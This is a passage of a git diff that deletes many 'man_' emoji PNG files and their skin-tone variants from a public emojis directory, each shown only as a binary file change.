+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_biking.png b/public/-/emojis/2/man_biking.png
deleted file mode 100644
index b73edf20f8c..00000000000
--- a/public/-/emojis/2/man_biking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_biking_tone1.png b/public/-/emojis/2/man_biking_tone1.png
deleted file mode 100644
index fdb018eb3a2..00000000000
--- a/public/-/emojis/2/man_biking_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_biking_tone2.png b/public/-/emojis/2/man_biking_tone2.png
deleted file mode 100644
index da4e65de3c1..00000000000
--- a/public/-/emojis/2/man_biking_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_biking_tone3.png b/public/-/emojis/2/man_biking_tone3.png
deleted file mode 100644
index bbfae9c968a..00000000000
--- a/public/-/emojis/2/man_biking_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_biking_tone4.png b/public/-/emojis/2/man_biking_tone4.png
deleted file mode 100644
index b66dc2aec4b..00000000000
--- a/public/-/emojis/2/man_biking_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_biking_tone5.png b/public/-/emojis/2/man_biking_tone5.png
deleted file mode 100644
index d5aa37256b4..00000000000
--- a/public/-/emojis/2/man_biking_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bouncing_ball.png b/public/-/emojis/2/man_bouncing_ball.png
deleted file mode 100644
index 48da4f95ee4..00000000000
--- a/public/-/emojis/2/man_bouncing_ball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bouncing_ball_tone1.png b/public/-/emojis/2/man_bouncing_ball_tone1.png
deleted file mode 100644
index ca0eb643c0b..00000000000
--- a/public/-/emojis/2/man_bouncing_ball_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bouncing_ball_tone2.png b/public/-/emojis/2/man_bouncing_ball_tone2.png
deleted file mode 100644
index 1b23a5601cb..00000000000
--- a/public/-/emojis/2/man_bouncing_ball_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bouncing_ball_tone3.png b/public/-/emojis/2/man_bouncing_ball_tone3.png
deleted file mode 100644
index 3a3ac904aab..00000000000
--- a/public/-/emojis/2/man_bouncing_ball_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bouncing_ball_tone4.png b/public/-/emojis/2/man_bouncing_ball_tone4.png
deleted file mode 100644
index e76f04c7ef4..00000000000
--- a/public/-/emojis/2/man_bouncing_ball_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bouncing_ball_tone5.png b/public/-/emojis/2/man_bouncing_ball_tone5.png
deleted file mode 100644
index 19a4f769801..00000000000
--- a/public/-/emojis/2/man_bouncing_ball_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bowing.png b/public/-/emojis/2/man_bowing.png
deleted file mode 100644
index 8af157f4543..00000000000
--- a/public/-/emojis/2/man_bowing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bowing_tone1.png b/public/-/emojis/2/man_bowing_tone1.png
deleted file mode 100644
index dd82eecb0f4..00000000000
--- a/public/-/emojis/2/man_bowing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bowing_tone2.png b/public/-/emojis/2/man_bowing_tone2.png
deleted file mode 100644
index 56430d982c1..00000000000
--- a/public/-/emojis/2/man_bowing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bowing_tone3.png b/public/-/emojis/2/man_bowing_tone3.png
deleted file mode 100644
index 6bfd173600a..00000000000
--- a/public/-/emojis/2/man_bowing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bowing_tone4.png b/public/-/emojis/2/man_bowing_tone4.png
deleted file mode 100644
index d067f8701a2..00000000000
--- a/public/-/emojis/2/man_bowing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bowing_tone5.png b/public/-/emojis/2/man_bowing_tone5.png
deleted file mode 100644
index 975b11cefdb..00000000000
--- a/public/-/emojis/2/man_bowing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cartwheeling.png b/public/-/emojis/2/man_cartwheeling.png
deleted file mode 100644
index 4d0b8996b3f..00000000000
--- a/public/-/emojis/2/man_cartwheeling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cartwheeling_tone1.png b/public/-/emojis/2/man_cartwheeling_tone1.png
deleted file mode 100644
index 781f7aa9908..00000000000
--- a/public/-/emojis/2/man_cartwheeling_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cartwheeling_tone2.png b/public/-/emojis/2/man_cartwheeling_tone2.png
deleted file mode 100644
index 1aac9e16044..00000000000
--- a/public/-/emojis/2/man_cartwheeling_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cartwheeling_tone3.png b/public/-/emojis/2/man_cartwheeling_tone3.png
deleted file mode 100644
index 99449a8c95d..00000000000
--- a/public/-/emojis/2/man_cartwheeling_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cartwheeling_tone4.png b/public/-/emojis/2/man_cartwheeling_tone4.png
deleted file mode 100644
index dd6209f678a..00000000000
--- a/public/-/emojis/2/man_cartwheeling_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cartwheeling_tone5.png b/public/-/emojis/2/man_cartwheeling_tone5.png
deleted file mode 100644
index f1a0a71099b..00000000000
--- a/public/-/emojis/2/man_cartwheeling_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_climbing.png b/public/-/emojis/2/man_climbing.png
deleted file mode 100644
index fcb44020a88..00000000000
--- a/public/-/emojis/2/man_climbing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_climbing_tone1.png b/public/-/emojis/2/man_climbing_tone1.png
deleted file mode 100644
index 326a43f9e09..00000000000
--- a/public/-/emojis/2/man_climbing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_climbing_tone2.png b/public/-/emojis/2/man_climbing_tone2.png
deleted file mode 100644
index a0f2a7e835f..00000000000
--- a/public/-/emojis/2/man_climbing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_climbing_tone3.png b/public/-/emojis/2/man_climbing_tone3.png
deleted file mode 100644
index 05cbeb81346..00000000000
--- a/public/-/emojis/2/man_climbing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_climbing_tone4.png b/public/-/emojis/2/man_climbing_tone4.png
deleted file mode 100644
index dbc7e0f8c30..00000000000
--- a/public/-/emojis/2/man_climbing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_climbing_tone5.png b/public/-/emojis/2/man_climbing_tone5.png
deleted file mode 100644
index 0c5cc6e8292..00000000000
--- a/public/-/emojis/2/man_climbing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_construction_worker.png b/public/-/emojis/2/man_construction_worker.png
deleted file mode 100644
index 4659f67a128..00000000000
--- a/public/-/emojis/2/man_construction_worker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_construction_worker_tone1.png b/public/-/emojis/2/man_construction_worker_tone1.png
deleted file mode 100644
index a7b940eab68..00000000000
--- a/public/-/emojis/2/man_construction_worker_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_construction_worker_tone2.png b/public/-/emojis/2/man_construction_worker_tone2.png
deleted file mode 100644
index 6462725f85d..00000000000
--- a/public/-/emojis/2/man_construction_worker_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_construction_worker_tone3.png b/public/-/emojis/2/man_construction_worker_tone3.png
deleted file mode 100644
index 0f10fd0de09..00000000000
--- a/public/-/emojis/2/man_construction_worker_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_construction_worker_tone4.png b/public/-/emojis/2/man_construction_worker_tone4.png
deleted file mode 100644
index 5e095cc363c..00000000000
--- a/public/-/emojis/2/man_construction_worker_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_construction_worker_tone5.png b/public/-/emojis/2/man_construction_worker_tone5.png
deleted file mode 100644
index 6f3957edbcf..00000000000
--- a/public/-/emojis/2/man_construction_worker_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cook.png b/public/-/emojis/2/man_cook.png
deleted file mode 100644
index c285ff3dcdd..00000000000
--- a/public/-/emojis/2/man_cook.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cook_tone1.png b/public/-/emojis/2/man_cook_tone1.png
deleted file mode 100644
index 32bc956f02a..00000000000
--- a/public/-/emojis/2/man_cook_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cook_tone2.png b/public/-/emojis/2/man_cook_tone2.png
deleted file mode 100644
index 830743c7e6c..00000000000
--- a/public/-/emojis/2/man_cook_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cook_tone3.png b/public/-/emojis/2/man_cook_tone3.png
deleted file mode 100644
index d7a6fc9200f..00000000000
--- a/public/-/emojis/2/man_cook_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cook_tone4.png b/public/-/emojis/2/man_cook_tone4.png
deleted file mode 100644
index 02fb106103e..00000000000
--- a/public/-/emojis/2/man_cook_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_cook_tone5.png b/public/-/emojis/2/man_cook_tone5.png
deleted file mode 100644
index 14bbb4d2b15..00000000000
--- a/public/-/emojis/2/man_cook_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_curly_haired.png b/public/-/emojis/2/man_curly_haired.png
deleted file mode 100644
index 34b3dd96974..00000000000
--- a/public/-/emojis/2/man_curly_haired.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_curly_haired_tone1.png b/public/-/emojis/2/man_curly_haired_tone1.png
deleted file mode 100644
index e8a4290bffd..00000000000
--- a/public/-/emojis/2/man_curly_haired_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_curly_haired_tone2.png b/public/-/emojis/2/man_curly_haired_tone2.png
deleted file mode 100644
index cc4a6794aed..00000000000
--- a/public/-/emojis/2/man_curly_haired_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_curly_haired_tone3.png b/public/-/emojis/2/man_curly_haired_tone3.png
deleted file mode 100644
index db0c665ac5d..00000000000
--- a/public/-/emojis/2/man_curly_haired_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_curly_haired_tone4.png b/public/-/emojis/2/man_curly_haired_tone4.png
deleted file mode 100644
index f6b3d56b7e6..00000000000
--- a/public/-/emojis/2/man_curly_haired_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_curly_haired_tone5.png b/public/-/emojis/2/man_curly_haired_tone5.png
deleted file mode 100644
index 765414d6a34..00000000000
--- a/public/-/emojis/2/man_curly_haired_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_dancing.png b/public/-/emojis/2/man_dancing.png
deleted file mode 100644
index b8d023cd7f2..00000000000
--- a/public/-/emojis/2/man_dancing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_dancing_tone1.png b/public/-/emojis/2/man_dancing_tone1.png
deleted file mode 100644
index da0d0a35b23..00000000000
--- a/public/-/emojis/2/man_dancing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_dancing_tone2.png b/public/-/emojis/2/man_dancing_tone2.png
deleted file mode 100644
index 168674a3813..00000000000
--- a/public/-/emojis/2/man_dancing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_dancing_tone3.png b/public/-/emojis/2/man_dancing_tone3.png
deleted file mode 100644
index d815cb082f3..00000000000
--- a/public/-/emojis/2/man_dancing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_dancing_tone4.png b/public/-/emojis/2/man_dancing_tone4.png
deleted file mode 100644
index 0d0d3e9a8b9..00000000000
--- a/public/-/emojis/2/man_dancing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_dancing_tone5.png b/public/-/emojis/2/man_dancing_tone5.png
deleted file mode 100644
index a207b0cd753..00000000000
--- a/public/-/emojis/2/man_dancing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_detective.png b/public/-/emojis/2/man_detective.png
deleted file mode 100644
index 075e7274247..00000000000
--- a/public/-/emojis/2/man_detective.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_detective_tone1.png b/public/-/emojis/2/man_detective_tone1.png
deleted file mode 100644
index fbbd6bf830b..00000000000
--- a/public/-/emojis/2/man_detective_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_detective_tone2.png b/public/-/emojis/2/man_detective_tone2.png
deleted file mode 100644
index 2ca3e36e5de..00000000000
--- a/public/-/emojis/2/man_detective_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_detective_tone3.png b/public/-/emojis/2/man_detective_tone3.png
deleted file mode 100644
index 5521a251bad..00000000000
--- a/public/-/emojis/2/man_detective_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_detective_tone4.png b/public/-/emojis/2/man_detective_tone4.png
deleted file mode 100644
index d44ec38567d..00000000000
--- a/public/-/emojis/2/man_detective_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_detective_tone5.png b/public/-/emojis/2/man_detective_tone5.png
deleted file mode 100644
index 1e451bf36cb..00000000000
--- a/public/-/emojis/2/man_detective_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_elf.png b/public/-/emojis/2/man_elf.png
deleted file mode 100644
index da65f57ba6d..00000000000
--- a/public/-/emojis/2/man_elf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_elf_tone1.png b/public/-/emojis/2/man_elf_tone1.png
deleted file mode 100644
index 6f6040ca1e0..00000000000
--- a/public/-/emojis/2/man_elf_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_elf_tone2.png b/public/-/emojis/2/man_elf_tone2.png
deleted file mode 100644
index f228ad83426..00000000000
--- a/public/-/emojis/2/man_elf_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_elf_tone3.png b/public/-/emojis/2/man_elf_tone3.png
deleted file mode 100644
index 797e38d94a0..00000000000
--- a/public/-/emojis/2/man_elf_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_elf_tone4.png b/public/-/emojis/2/man_elf_tone4.png
deleted file mode 100644
index 316cb651aa5..00000000000
--- a/public/-/emojis/2/man_elf_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_elf_tone5.png b/public/-/emojis/2/man_elf_tone5.png
deleted file mode 100644
index b5e8c3c66e0..00000000000
--- a/public/-/emojis/2/man_elf_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_facepalming.png b/public/-/emojis/2/man_facepalming.png
deleted file mode 100644
index 9fb8643f56b..00000000000
--- a/public/-/emojis/2/man_facepalming.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_facepalming_tone1.png b/public/-/emojis/2/man_facepalming_tone1.png
deleted file mode 100644
index 72798618430..00000000000
--- a/public/-/emojis/2/man_facepalming_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_facepalming_tone2.png b/public/-/emojis/2/man_facepalming_tone2.png
deleted file mode 100644
index 35b399c4f62..00000000000
--- a/public/-/emojis/2/man_facepalming_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_facepalming_tone3.png b/public/-/emojis/2/man_facepalming_tone3.png
deleted file mode 100644
index 0f6fce3eeb0..00000000000
--- a/public/-/emojis/2/man_facepalming_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_facepalming_tone4.png b/public/-/emojis/2/man_facepalming_tone4.png
deleted file mode 100644
index eaea894e356..00000000000
--- a/public/-/emojis/2/man_facepalming_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_facepalming_tone5.png b/public/-/emojis/2/man_facepalming_tone5.png
deleted file mode 100644
index 75300ebb5bf..00000000000
--- a/public/-/emojis/2/man_facepalming_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_factory_worker.png b/public/-/emojis/2/man_factory_worker.png
deleted file mode 100644
index 296e4b2fd77..00000000000
--- a/public/-/emojis/2/man_factory_worker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_factory_worker_tone1.png b/public/-/emojis/2/man_factory_worker_tone1.png
deleted file mode 100644
index c0f9f21b37e..00000000000
--- a/public/-/emojis/2/man_factory_worker_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_factory_worker_tone2.png b/public/-/emojis/2/man_factory_worker_tone2.png
deleted file mode 100644
index f80354e6714..00000000000
--- a/public/-/emojis/2/man_factory_worker_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_factory_worker_tone3.png b/public/-/emojis/2/man_factory_worker_tone3.png
deleted file mode 100644
index d3910286c01..00000000000
--- a/public/-/emojis/2/man_factory_worker_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_factory_worker_tone4.png b/public/-/emojis/2/man_factory_worker_tone4.png
deleted file mode 100644
index 7a02235f1c9..00000000000
--- a/public/-/emojis/2/man_factory_worker_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_factory_worker_tone5.png b/public/-/emojis/2/man_factory_worker_tone5.png
deleted file mode 100644
index 1135a4ed793..00000000000
--- a/public/-/emojis/2/man_factory_worker_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_fairy.png b/public/-/emojis/2/man_fairy.png
deleted file mode 100644
index c4b2bfdadfd..00000000000
--- a/public/-/emojis/2/man_fairy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_fairy_tone1.png b/public/-/emojis/2/man_fairy_tone1.png
deleted file mode 100644
index 1567a68557b..00000000000
--- a/public/-/emojis/2/man_fairy_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_fairy_tone2.png b/public/-/emojis/2/man_fairy_tone2.png
deleted file mode 100644
index 4f2190dc8bd..00000000000
--- a/public/-/emojis/2/man_fairy_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_fairy_tone3.png b/public/-/emojis/2/man_fairy_tone3.png
deleted file mode 100644
index 60ad6956d82..00000000000
--- a/public/-/emojis/2/man_fairy_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_fairy_tone4.png b/public/-/emojis/2/man_fairy_tone4.png
deleted file mode 100644
index a6a3d603cde..00000000000
--- a/public/-/emojis/2/man_fairy_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_fairy_tone5.png b/public/-/emojis/2/man_fairy_tone5.png
deleted file mode 100644
index 5c1582bb735..00000000000
--- a/public/-/emojis/2/man_fairy_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_farmer.png b/public/-/emojis/2/man_farmer.png
deleted file mode 100644
index 7822d6f36fb..00000000000
--- a/public/-/emojis/2/man_farmer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_farmer_tone1.png b/public/-/emojis/2/man_farmer_tone1.png
deleted file mode 100644
index 6b6f6f02fa9..00000000000
--- a/public/-/emojis/2/man_farmer_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_farmer_tone2.png b/public/-/emojis/2/man_farmer_tone2.png
deleted file mode 100644
index 456dd2f1e10..00000000000
--- a/public/-/emojis/2/man_farmer_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_farmer_tone3.png b/public/-/emojis/2/man_farmer_tone3.png
deleted file mode 100644
index a567bbfbf2b..00000000000
--- a/public/-/emojis/2/man_farmer_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_farmer_tone4.png b/public/-/emojis/2/man_farmer_tone4.png
deleted file mode 100644
index a37464f6737..00000000000
--- a/public/-/emojis/2/man_farmer_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_farmer_tone5.png b/public/-/emojis/2/man_farmer_tone5.png
deleted file mode 100644
index 2bbf2f7b896..00000000000
--- a/public/-/emojis/2/man_farmer_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_firefighter.png b/public/-/emojis/2/man_firefighter.png
deleted file mode 100644
index 33fed154163..00000000000
--- a/public/-/emojis/2/man_firefighter.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_firefighter_tone1.png b/public/-/emojis/2/man_firefighter_tone1.png
deleted file mode 100644
index 9ee18a0cd9d..00000000000
--- a/public/-/emojis/2/man_firefighter_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_firefighter_tone2.png b/public/-/emojis/2/man_firefighter_tone2.png
deleted file mode 100644
index e2a5e4e3c87..00000000000
--- a/public/-/emojis/2/man_firefighter_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_firefighter_tone3.png b/public/-/emojis/2/man_firefighter_tone3.png
deleted file mode 100644
index c484255b4a8..00000000000
--- a/public/-/emojis/2/man_firefighter_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_firefighter_tone4.png b/public/-/emojis/2/man_firefighter_tone4.png
deleted file mode 100644
index c2e9f93d602..00000000000
--- a/public/-/emojis/2/man_firefighter_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_firefighter_tone5.png b/public/-/emojis/2/man_firefighter_tone5.png
deleted file mode 100644
index 3890ad7b9e8..00000000000
--- a/public/-/emojis/2/man_firefighter_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_frowning.png b/public/-/emojis/2/man_frowning.png
deleted file mode 100644
index 77eae102adb..00000000000
--- a/public/-/emojis/2/man_frowning.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_frowning_tone1.png b/public/-/emojis/2/man_frowning_tone1.png
deleted file mode 100644
index e0df230ece7..00000000000
--- a/public/-/emojis/2/man_frowning_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_frowning_tone2.png b/public/-/emojis/2/man_frowning_tone2.png
deleted file mode 100644
index 572e4109150..00000000000
--- a/public/-/emojis/2/man_frowning_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_frowning_tone3.png b/public/-/emojis/2/man_frowning_tone3.png
deleted file mode 100644
index 47aa25aa948..00000000000
--- a/public/-/emojis/2/man_frowning_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_frowning_tone4.png b/public/-/emojis/2/man_frowning_tone4.png
deleted file mode 100644
index 0dea2f3d4fd..00000000000
--- a/public/-/emojis/2/man_frowning_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_frowning_tone5.png b/public/-/emojis/2/man_frowning_tone5.png
deleted file mode 100644
index 955c3bece26..00000000000
--- a/public/-/emojis/2/man_frowning_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_genie.png b/public/-/emojis/2/man_genie.png
deleted file mode 100644
index 974c39d7caf..00000000000
--- a/public/-/emojis/2/man_genie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_no.png b/public/-/emojis/2/man_gesturing_no.png
deleted file mode 100644
index cd5e254a0d5..00000000000
--- a/public/-/emojis/2/man_gesturing_no.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_no_tone1.png b/public/-/emojis/2/man_gesturing_no_tone1.png
deleted file mode 100644
index 21ae01ffa5e..00000000000
--- a/public/-/emojis/2/man_gesturing_no_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_no_tone2.png b/public/-/emojis/2/man_gesturing_no_tone2.png
deleted file mode 100644
index df517b5399e..00000000000
--- a/public/-/emojis/2/man_gesturing_no_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_no_tone3.png b/public/-/emojis/2/man_gesturing_no_tone3.png
deleted file mode 100644
index af261745f21..00000000000
--- a/public/-/emojis/2/man_gesturing_no_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_no_tone4.png b/public/-/emojis/2/man_gesturing_no_tone4.png
deleted file mode 100644
index 41ec17c4d6e..00000000000
--- a/public/-/emojis/2/man_gesturing_no_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_no_tone5.png b/public/-/emojis/2/man_gesturing_no_tone5.png
deleted file mode 100644
index 60805007561..00000000000
--- a/public/-/emojis/2/man_gesturing_no_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_ok.png b/public/-/emojis/2/man_gesturing_ok.png
deleted file mode 100644
index bb4559af3dc..00000000000
--- a/public/-/emojis/2/man_gesturing_ok.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_ok_tone1.png b/public/-/emojis/2/man_gesturing_ok_tone1.png
deleted file mode 100644
index d70c5dbea44..00000000000
--- a/public/-/emojis/2/man_gesturing_ok_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_ok_tone2.png b/public/-/emojis/2/man_gesturing_ok_tone2.png
deleted file mode 100644
index 1fc5c4dcbaa..00000000000
--- a/public/-/emojis/2/man_gesturing_ok_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_ok_tone3.png b/public/-/emojis/2/man_gesturing_ok_tone3.png
deleted file mode 100644
index ba337d2630a..00000000000
--- a/public/-/emojis/2/man_gesturing_ok_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_ok_tone4.png b/public/-/emojis/2/man_gesturing_ok_tone4.png
deleted file mode 100644
index 7e2836da678..00000000000
--- a/public/-/emojis/2/man_gesturing_ok_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_gesturing_ok_tone5.png b/public/-/emojis/2/man_gesturing_ok_tone5.png
deleted file mode 100644
index c5b82532108..00000000000
--- a/public/-/emojis/2/man_gesturing_ok_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_face_massage.png b/public/-/emojis/2/man_getting_face_massage.png
deleted file mode 100644
index 76b456c4b3a..00000000000
--- a/public/-/emojis/2/man_getting_face_massage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_face_massage_tone1.png b/public/-/emojis/2/man_getting_face_massage_tone1.png
deleted file mode 100644
index 5119434509e..00000000000
--- a/public/-/emojis/2/man_getting_face_massage_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_face_massage_tone2.png b/public/-/emojis/2/man_getting_face_massage_tone2.png
deleted file mode 100644
index dcf3000399f..00000000000
--- a/public/-/emojis/2/man_getting_face_massage_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_face_massage_tone3.png b/public/-/emojis/2/man_getting_face_massage_tone3.png
deleted file mode 100644
index 76d832920f8..00000000000
--- a/public/-/emojis/2/man_getting_face_massage_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_face_massage_tone4.png b/public/-/emojis/2/man_getting_face_massage_tone4.png
deleted file mode 100644
index 13f2fd77c02..00000000000
--- a/public/-/emojis/2/man_getting_face_massage_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_face_massage_tone5.png b/public/-/emojis/2/man_getting_face_massage_tone5.png
deleted file mode 100644
index ec57bdf9baf..00000000000
--- a/public/-/emojis/2/man_getting_face_massage_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_haircut.png b/public/-/emojis/2/man_getting_haircut.png
deleted file mode 100644
index 6e5451dc32f..00000000000
--- a/public/-/emojis/2/man_getting_haircut.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_haircut_tone1.png b/public/-/emojis/2/man_getting_haircut_tone1.png
deleted file mode 100644
index 591e2e0b165..00000000000
--- a/public/-/emojis/2/man_getting_haircut_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_haircut_tone2.png b/public/-/emojis/2/man_getting_haircut_tone2.png
deleted file mode 100644
index 63a61f51c31..00000000000
--- a/public/-/emojis/2/man_getting_haircut_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_haircut_tone3.png b/public/-/emojis/2/man_getting_haircut_tone3.png
deleted file mode 100644
index bf916c62fcc..00000000000
--- a/public/-/emojis/2/man_getting_haircut_tone3.png
+++ /dev/null
Binary files differ
